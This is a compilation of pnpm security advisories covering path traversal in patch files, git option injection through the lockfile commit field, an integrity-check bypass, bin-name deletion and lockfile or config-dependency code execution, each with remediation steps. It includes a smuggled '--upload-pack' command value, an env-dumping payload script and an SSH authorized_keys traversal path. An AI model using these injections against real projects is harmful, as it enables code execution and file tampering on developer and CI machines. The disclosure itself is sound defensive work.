pnpm's patch application pipeline (@pnpm/patch-package) performs no path validation on file paths extracted from .patch files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during pnpm install, as the user running the install. The diff --git header paths containing ../../ sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers.
Vulnerability Details
During pnpm install, when a patchedDependencies entry is present in pnpm-workspace.yaml, pnpm reads the referenced .patch file and applies it via the embedded @pnpm/patch-package library. The applyPatchToDir function at patching/apply-patch/src/index.ts:12-13 calls process.chdir(opts.patchedDir), setting the working directory to the installed package location deep inside nodemodules/.pnpm/.
The patch parser at @pnpm/patch-package/dist/patch/parse.js:88 extracts file paths from diff --git a/(.?) b/(.?) headers using a regex with no path sanitization. The executeEffects function in apply.js then operates on these unsanitized paths:
File write (apply.js:35-49): javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break }
File delete (apply.js:13-22): javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break }
A path like ../../../../../../../../../../home/user/.ssh/authorizedkeys in the patch header traverses out of the package directory to an arbitrary location.
Proof of Concept
bash Write variant: bash autofynaudit/exploits/vuln6patchtraversalwrite/exploit.sh Result: PASS -- /tmp/vuln6pwned created with attacker-controlled content
Delete variant: bash autofynaudit/exploits/vuln7patchtraversaldelete/exploit.sh Result: PASS -- /tmp/vuln7target deleted by malicious patch
Combined chain (delete + replace SSH authorizedkeys): bash autofynaudit/exploits/chain2patchsshbackdoor/exploit.sh Result: PASS -- authorizedkeys replaced with attacker's public key
Impact
Arbitrary file write and delete as the user running pnpm install, limited to paths writable by that user. An attacker who submits a PR adding a .patch file and patchedDependencies config can target SSH authorizedkeys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than package.json changes because the ../ traversal sequences are in diff --git headers that look like patch metadata.
Suggested Remediation
Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via path.resolve + prefix check. Alternatively, sanitize at parse time by rejecting paths containing .. components in parse.js.
---
Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh
Summary
pnpm passes the lockfile-controlled git resolution.commit value to git fetch without a -- separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as --upload-pack=<command>. For SSH and local transports, --upload-pack can execute the supplied command. HTTPS transports ignore --upload-pack, so the practical attack surface is primarily SSH or local git dependencies.
Vulnerability Details
The vulnerable path is in fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:
typescript await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation })
Because resolution.commit is appended before a -- separator, Git can parse a commit value beginning with - as an option. The same file later passes the value to git checkout without a separator:
typescript await execGit(['checkout', resolution.commit], { cwd: tempLocation })
resolution.commit comes from the lockfile and is typed as a plain string; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.
Proof of Concept
bash bash autofynaudit/exploits/vuln11gituploadpackrce/exploit.sh Creates a local bare git repo and triggers the shallow-fetch path. Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11pwned'. Result: PASS -- /tmp/vuln11pwned created by injected touch command.
The PoC uses a local file://githost/... repository because the injection requires a local or SSH transport. HTTPS transport ignores --upload-pack.
Impact
Code execution as the user running pnpm install, under specific transport conditions. The attacker must modify pnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.
Suggested Remediation
Add a -- separator before lockfile-controlled git revision values. Validate resolution.commit matches /^[0-9a-f]{40}$/i before passing to Git.
---
Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh
pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml. When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. This vulnerability is fixed in 10.34.0 and 11.4.0.
Summary
pnpm's tarball extraction worker skips integrity verification when the integrity field is absent from the lockfile resolution. If an attacker can both modify pnpm-lock.yaml to remove the integrity: field and cause the referenced registry URL to serve altered package content, pnpm install --frozen-lockfile can install the altered package without an integrity error. npm's npm ci enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap.
Vulnerability Details
The addTarballToStore function in worker/src/start.ts (lines 189-204) checks if (integrity) before verifying the tarball hash. The TarballResolution type declares integrity as optional (integrity?: string). When the lockfile omits the integrity field, the guard evaluates to false, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate.
typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrityvalidationfailed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } }
Proof of Concept
bash bash autofynaudit/exploits/vuln1integritybypass/exploit.sh Publishes a package, generates lockfile, republishes tampered version, strips integrity field, re-runs install --frozen-lockfile. Result: PASS -- tampered package installed without integrity error.
Impact
Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The --frozen-lockfile flag does not fail closed when the integrity field is missing.
Suggested Remediation
Require an integrity field for remote tarball resolutions. Change the if (integrity) guard to fail when integrity is absent for non-local packages. When --frozen-lockfile is active, reject lockfile entries that lack integrity for remote packages.
---
Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh
Summary
The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h / CAND-PNPM-038 is fixed on main by pnpm/pnpm#12303, merged as 65443f4bdf1f0db9c8c7dc58fee25252607e9234.
Before the fix, pnpm stage download derived a local filename from registry-controlled package name and version fields. A crafted manifest could escape the selected download directory and overwrite another reachable file. The merged fix validates both fields, derives one safe filename, and verifies the final destination before writing.
Security boundary
- Package names and semantic versions are validated before they can influence a local filename. - POSIX and Windows path separators are rejected by basename checks. - Stage download and tarball summary paths use the same filename helper. - The resolved output path must remain an immediate child of the selected download directory. - The stage identifier is already constrained to a UUID.
Exploit replay
Before 65443f4bdf, a traversal-bearing manifest version could make the command write outside the selected directory. After the fix, malicious package names fail with ERRPNPMINVALIDPACKAGENAME, malicious versions fail with ERRPNPMINVALIDPACKAGEVERSION, no outside file is created, and the download directory remains empty.
Files changed
- releasing/commands/src/tarball/safeTarballFilename.ts validates manifest identity and rejects cross-platform path separators. - releasing/commands/src/stage/download.ts verifies the resolved destination before writing. - releasing/commands/src/tarball/summarizeTarball.ts uses the same filename contract. - releasing/commands/test/stage.test.ts covers traversal through both package name and version. - .changeset/stale-stage-tarballs.md includes patch bumps for @pnpm/releasing.commands and pnpm.
Patch
- Merged PR: https://github.com/pnpm/pnpm/pull/12303 - Fix commit: 65443f4bdf1f0db9c8c7dc58fee25252607e9234 - The private candidate branch was not submitted because it conflicts with and is superseded by the merged fix. The upstream patch is slightly stronger because it covers malicious package names as well as versions.
Commands run
text $ git diff --check 65443f4bdf^ 65443f4bdf PASS $ gh pr view 12303 --repo pnpm/pnpm --json state,mergeCommit,statusCheckRollup MERGED as 65443f4bdf
Validation
- Upstream regression coverage rejects traversal through both manifest name and version and verifies that no outside file is created. - Compile and lint, dependency audit, Linux Node.js 22/24/26, CodeQL, and zizmor checks passed on the merged public PR. - The Windows Node.js 22 full-suite job timed out in the unrelated pnpm/test/dlx.ts cache test after 512 other tests passed. The PR was merged by the maintainer; the failure did not involve the staging code. - The earlier private candidate's focused exploit regression, positive control, package compile, ESLint, and git diff --check also passed.
Compatibility
Staging and release commands are TypeScript-only. Pacquet does not expose this command family, so no Rust-side port is required.
Remaining risk
The final fs.writeFile follows a pre-existing symlink at the exact in-directory output name. That requires separate local filesystem access and is not controllable through the registry manifest traversal described here.
--- Written by an agent (Codex, GPT-5).
<details> <summary>Maintainer Action Plan</summary>
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-085 / GHSA-4gxm-v5v7-fqc4 - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: appendix - Component: pnpm global add/remove bin cleanup - Patch area: bin name/path segment validation - Affected packages: npm:pnpm - CWE IDs: CWE-22, CWE-73 - Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves PNPMHOME and the sentinel file intact.
Files And Tests To Review
- bins/resolver/src/index.ts - bins/resolver/test/index.ts - global/commands/test/globalRemove.test.ts - pacquet/crates/cmd-shim/src/binresolver.rs - pacquet/crates/cmd-shim/src/binresolver/tests.rs - .changeset/strange-bin-segments.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
- Use the private PR checks plus the patched replay coverage matrix for this candidate.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-085-patched-result.json. <!-- maintainer-action:end -->
Title
Reserved manifest bin names can make global package operations delete outside the global bin directory
</details>
Description
Summary
Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.
Details
The vulnerable dataflow was:
- bins/resolver/src/index.ts converted manifest bin object keys to binName and only required URL-safe text or $. Empty, dot, dot-dot, and scoped forms such as @scope/.. were not rejected after scope stripping. - global/packages/src/scanGlobalPackages.ts scanned installed global package manifests and returned manifest-derived bin.name values. - global/commands/src/globalRemove.ts, global/commands/src/globalUpdate.ts, and global add replacement logic joined those names to globalBinDir. - bins/remover/src/removeBins.ts recursively removed the resulting path.
Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.
PoC
Run:
The script first performs a safe prepatch simulation in a temporary directory:
text prepatchreservedbinname=.. prepatchdeletetarget=/.../cand-pnpm-085.XXXXXX/home prepatchdeletedglobalbinparent=true
It then validates the patched implementation:
bash ./nodemodules/.bin/tsgo --build bins/resolver/tsconfig.json ./nodemodules/.bin/tsgo --build global/commands/tsconfig.json ./nodemodules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts --runInBand cd global/commands NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml binresolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml
The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").
Impact
Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.
Affected Products
Ecosystem: npm
Package name: pnpm
Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.
Patched versions: pending release containing the shared bin-name hardening.
Severity
Corrected vulnerable severity: High
Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Corrected vulnerable score: 8.1
Final post-patch score: 0.0, not vulnerable after patch.
The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.
Weaknesses
CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-73: External Control of File Name or Path
Patch
- bins/resolver/src/index.ts now rejects empty, dot, and dot-dot bin names after scope stripping. - bins/resolver/test/index.ts covers empty, dot, dot-dot, and scoped reserved bin keys. - global/commands/test/globalRemove.test.ts proves global remove filters reserved manifest bin names before deletion and only removes a safe good shim. - pacquet/crates/cmd-shim/src/binresolver.rs mirrors the same reserved-name rejection; empty names were already rejected. - pacquet/crates/cmd-shim/src/binresolver/tests.rs extends parity coverage. - .changeset/strange-bin-segments.md records patch releases for @pnpm/bins.resolver, pnpm, and pacquet.
Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.
Validation
Passed locally:
The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.
<!-- maintainer-action:start --> Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-063 / GHSA-w466-c33r-3gjp - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm packageManager env lockfile - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: npm:pnpm, npm:@pnpm/installing.env-installer - CWE IDs: CWE-829, CWE-494, CWE-345 - Conservative CVSS: 8.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.
Files And Tests To Review
- installing/env-installer/src/resolvePackageManagerIntegrities.ts - pnpm/src/switchCliVersion.ts - pnpm/src/switchCliVersion.test.ts - .changeset/clean-package-manager-registries.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
bash ./nodemodules/.bin/tsgo --build installing/env-installer/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./nodemodules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-063-patched-result.json. <!-- maintainer-action:end -->
Summary
pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained matching pnpm and @pnpm/exe versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.
Details
The vulnerable source-to-sink path was:
- lockfile/fs/src/envLockfile.ts reads the repository's first YAML lockfile document and validates shape only. - pnpm/src/main.ts reaches switchCliVersion() when a direct pnpm invocation sees a wanted pnpm package manager with onFail=download. - pnpm/src/switchCliVersion.ts reads the committed env lockfile when package-manager metadata should be persisted. - installing/env-installer/src/resolvePackageManagerIntegrities.ts treated packageManagerDependencies as resolved when only the pnpm and @pnpm/exe versions matched. - engine/pm/commands/src/self-updater/installPnpm.ts converts env-lockfile snapshots and packages into the wanted lockfile used by headlessInstall(). - pnpm/src/switchCliVersion.ts executes the installed pnpm binary with spawn.sync().
The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: switchCliVersion() now re-resolves already present package-manager env-lockfile entries before they can reach installPnpmToStore() and spawn.sync().
PoC
Standalone PoC and verification script:
The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:
json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.0": { "resolution": { "integrity": "sha512-poisoned" } } }, "snapshots": { "/pnpm@9.3.0": {} } }
Pre-patch exploit model:
1. The victim runs pnpm directly in a malicious repository. 2. The requested package-manager version differs from the currently running pnpm. 3. pnpm enters switchCliVersion() and reads the committed env lockfile. 4. Matching pnpm / @pnpm/exe versions short-circuit package-manager resolution. 5. pnpm installs from the committed env-lockfile package records and executes the resulting pnpm binary.
Observed primitive proof from the PoC:
json { "primitive": "unforced resolver reuses already-resolved env lockfile metadata", "isResolvedByVersionOnly": true, "reusedPoisonedIntegrity": true }
The same script then runs the patched switchCliVersion regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts installPnpmToStore() receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.
Focused validation commands:
bash ./nodemodules/.bin/tsgo --build installing/env-installer/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./nodemodules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check
Validation result:
- The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive. - Patched switchCliVersion() calls resolvePackageManagerIntegrities() with force: true when committed env-lockfile package-manager entries already satisfy the requested version. - Patched switchCliVersion() assigns the resolver return value back to envLockfile. - The installer receives the refreshed lockfile and not the poisoned committed lockfile. - TypeScript builds passed for @pnpm/installing.env-installer and pnpm. - The focused Jest regression passed: 1 passed, 1 skipped in switchCliVersion.test.ts. - ESLint passed for the affected package-manager switch files. - git diff --check passed.
Impact
A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.
Affected products
Ecosystem: npm
Package name: pnpm, @pnpm/installing.env-installer
Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.
Patched versions: pending release containing this patch.
Severity
Severity: High
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base score: 8.8
Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.
Weaknesses
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
CWE-494: Download of Code Without Integrity Check
CWE-345: Insufficient Verification of Data Authenticity
Patch
The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:
- resolvePackageManagerIntegrities() accepts force, which bypasses the version-only fast path. - switchCliVersion() creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions. - switchCliVersion() calls resolvePackageManagerIntegrities() with force: true for already resolved package-manager entries. - switchCliVersion() assigns the returned env lockfile back to envLockfile, so installPnpmToStore() installs from freshly resolved metadata. - The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.
Changed files:
- installing/env-installer/src/resolvePackageManagerIntegrities.ts - pnpm/src/switchCliVersion.ts - pnpm/src/switchCliVersion.test.ts
Changeset:
- .changeset/clean-package-manager-registries.md
Pacquet parity:
No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or installPnpmToStore().
CVSS Reassessment
Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.
Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.
Remaining Risk
The helper resolvePackageManagerIntegrities() still has an unforced fast path that treats matching pnpm and @pnpm/exe versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched switchCliVersion() boundary, but future execution paths should use force: true before installing or executing package-manager bytes from repository-provided env-lockfile metadata.
<!-- maintainer-action:start --> Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-097 / GHSA-gj8w-mvpf-x27x - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm configDependencies / pacquet delegation - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: npm:pnpm, npm:@pnpm/config.reader, npm:@pnpm/installing.commands - CWE IDs: CWE-829, CWE-78, CWE-494 - Conservative CVSS: 7.5 / CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.
Files And Tests To Review
- config/reader/src/Config.ts - config/reader/src/types.ts - config/reader/src/configFileKey.ts - config/reader/src/index.ts - config/reader/test/index.ts - installing/commands/src/installDeps.ts - installing/commands/test/runPacquet.ts - pnpm/test/install/pacquet.ts - .changeset/lucky-config-plugin-pnpmfiles.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json ./nodemodules/.bin/tsgo --build installing/commands/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/runPacquet.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./nodemodules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-097-patched-result.json. <!-- maintainer-action:end -->
Summary
pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific @pacquet/<platform>-<arch>/pacquet binary from nodemodules/.pnpm-config/<packageName> and spawned it as the developer or CI user.
Details
The vulnerable source-to-sink path was:
- config/reader/src/getOptionsFromRootManifest.ts copies repository pnpm-workspace.yaml configDependencies into config. - pnpm/src/getConfig.ts installs config dependencies before command dispatch. - installing/env-installer/src/resolveAndInstallConfigDeps.ts resolves the repository-declared dependency and its optional platform subdependencies. - installing/env-installer/src/installConfigDeps.ts fetches, imports, and symlinks the config dependency tree under nodemodules/.pnpm-config. - installing/commands/src/installDeps.ts selected pacquet delegation whenever configDependencies contained pacquet or @pnpm/pacquet. - installing/deps-installer/src/install/index.ts called opts.runPacquet from frozen and materialization paths. - installing/commands/src/runPacquet.ts resolved @pacquet/${process.platform}-${process.arch}/pacquet from the installed config dependency package and executed it with spawn().
Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.
PoC
Standalone PoC and verification script:
Repository fixture:
yaml packages: - . configDependencies: pacquet: 0.2.2
Registry package shape:
json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@pacquet/darwin-arm64": "0.2.2" } }
Platform package payload:
sh #!/bin/sh echo "$PWD" > /tmp/pacquet-engine-ran env > /tmp/pacquet-engine-env
Pre-patch exploit model:
1. The victim runs a dependency-management command such as pnpm install in the repository. 2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into .pnpm-config. 3. installDeps() treats the presence of configDependencies.pacquet or configDependencies["@pnpm/pacquet"] as authorization to delegate install materialization. 4. runPacquet() resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.
Observed PoC output:
json { "primitive": "repository-selected pacquet config dependency reaches native process execution when selected", "patchedWithoutAllowlist": "blocked", "trustedAllowlist": "allows explicit opt-in" }
Focused validation commands:
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json ./nodemodules/.bin/tsgo --build installing/commands/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/runPacquet.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./nodemodules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check
Validation result:
- The PoC confirmed a selected pacquet config dependency reaches native process execution. - Patched getPacquetConfigDependencyName() returns undefined without a trusted allowlist. - Patched getPacquetConfigDependencyName() allows exact pacquet, exact @pnpm/pacquet, and wildcard trusted opt-in. - Config reader regressions prove user/global config can set configDependencyInstallEngineAllowlist, while pnpm-workspace.yaml cannot grant this permission to itself. - E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config. - TypeScript builds passed for @pnpm/config.reader, @pnpm/installing.commands, and pnpm. - Focused installing/commands/test/runPacquet.ts: 3 passed. - Focused config/reader/test/index.ts: 2 passed, 132 skipped under the focused pattern. - ESLint passed with warnings only for existing skipped tests in config/reader/test/index.ts and pnpm/test/install/pacquet.ts. - git diff --check: passed.
Impact
A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access.
Affected products
Ecosystem: npm
Package name: pnpm, @pnpm/config.reader, @pnpm/installing.commands
Affected versions: current main before this patch, when configDependencies contains pacquet or @pnpm/pacquet and install paths delegate to pacquet.
Patched versions: 10.34.2, 11.5.3.
Severity
Severity: High
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base score: 8.8
Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact.
Weaknesses
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
CWE-78: Improper Neutralization of Special Elements used in an OS Command
CWE-494: Download of Code Without Integrity Check
Patch
The patch adds a trusted opt-in gate for config-dependency install-engine delegation:
- New setting: configDependencyInstallEngineAllowlist. - The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config. - pnpm-workspace.yaml cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged. - installDeps() delegates to pacquet only when pacquet, @pnpm/pacquet, or is present in the trusted allowlist. - Repositories can still install pacquet as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in. - Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config.
Changed files:
